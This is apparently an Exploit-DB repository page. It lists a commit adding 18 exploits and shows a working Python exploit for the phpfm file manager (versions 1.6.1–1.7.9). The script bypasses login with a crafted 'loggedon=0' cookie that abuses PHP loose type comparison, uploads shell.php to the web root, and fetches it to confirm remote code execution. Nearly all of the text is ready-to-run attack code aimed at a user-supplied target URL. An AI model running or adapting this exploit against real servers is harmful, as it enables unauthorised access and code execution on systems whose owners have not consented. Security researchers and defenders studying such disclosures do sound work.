3a3c03321c
18 changes to exploits/shellcodes/ghdb Hikvision Hybrid SAN Ds-a71024 Firmware - Multiple Remote Code Execution ABB FlowX v4.00 - Exposure of Sensitive Information TP-Link TL-WR740N - Authenticated Directory Transversal Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS) Blackcat Cms v1.4 - Remote Code Execution (RCE) Blackcat Cms v1.4 - Stored XSS CmsMadeSimple v2.2.17 - Remote Code Execution (RCE) CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI) CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS) Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration) Online Piggery Management System v1.0 - unauthenticated file upload vulnerability phpfm v1.7.9 - Authentication type juggling PimpMyLog v1.7.14 - Improper access control PMB 7.4.6 - SQL Injection Statamic 4.7.0 - File-Inclusion Vaidya-Mitra 1.0 - Multiple SQLi
39 lines
No EOL
1.5 KiB
Python
Executable file
39 lines
No EOL
1.5 KiB
Python
Executable file
# Exploit Title: phpfm v1.7.9 - Authentication type juggling
|
|
# Date: 2023-07-10
|
|
# Exploit Author: thoughtfault
|
|
# Vendor Homepage: https://www.dulldusk.com/phpfm/
|
|
# Software Link: https://github.com/dulldusk/phpfm/
|
|
# Version: 1.6.1-1.7.9
|
|
# Tested on: Ubuntu 22.04
|
|
# CVE : N/A
|
|
"""
|
|
An authentication bypass exists in when the hash of the password selected by the user incidently begins with 0e, 00e, and in some PHP versions, 0x. This is because loose type comparision is performed between the password hash and the loggedon value, which by default for an unauthenticated user is 0 and can additionally be controlled by the attacker. This allows an attacker to bypass the login and obtain remote code execution.
|
|
|
|
A list of vulnerable password hashes can be found here.
|
|
https://github.com/spaze/hashes/blob/master/md5.md
|
|
"""
|
|
import requests
|
|
import sys
|
|
|
|
if len(sys.argv) < 2:
|
|
print(f"[*] Syntax: ./{__file__} http://target/")
|
|
sys.exit(0)
|
|
|
|
|
|
url = sys.argv[1].rstrip('/') + "/index.php"
|
|
|
|
payload_name = "shell.php"
|
|
payload = '<?php echo "I am a shell"; ?>'
|
|
payload_url = url.replace("index.php", payload_name)
|
|
|
|
headers = {"Accept-Language": "en-US,en;q=0.5", "Cookie": "loggedon=0"}
|
|
files = {"dir_dest": (None, "/srv/http/"), "action": (None, "10"), "upfiles[]": ("shell.php", payload) }
|
|
|
|
requests.post(url, headers=headers, files=files)
|
|
|
|
r = requests.get(payload_url)
|
|
if r.status_code == 200:
|
|
print(f"[*] Exploit sucessfull: {payload_url}")
|
|
print(r.text)
|
|
else:
|
|
print(f"[*] Exploit might have failed, payload url returned a non-200 status code of: {r.status_code}" ) |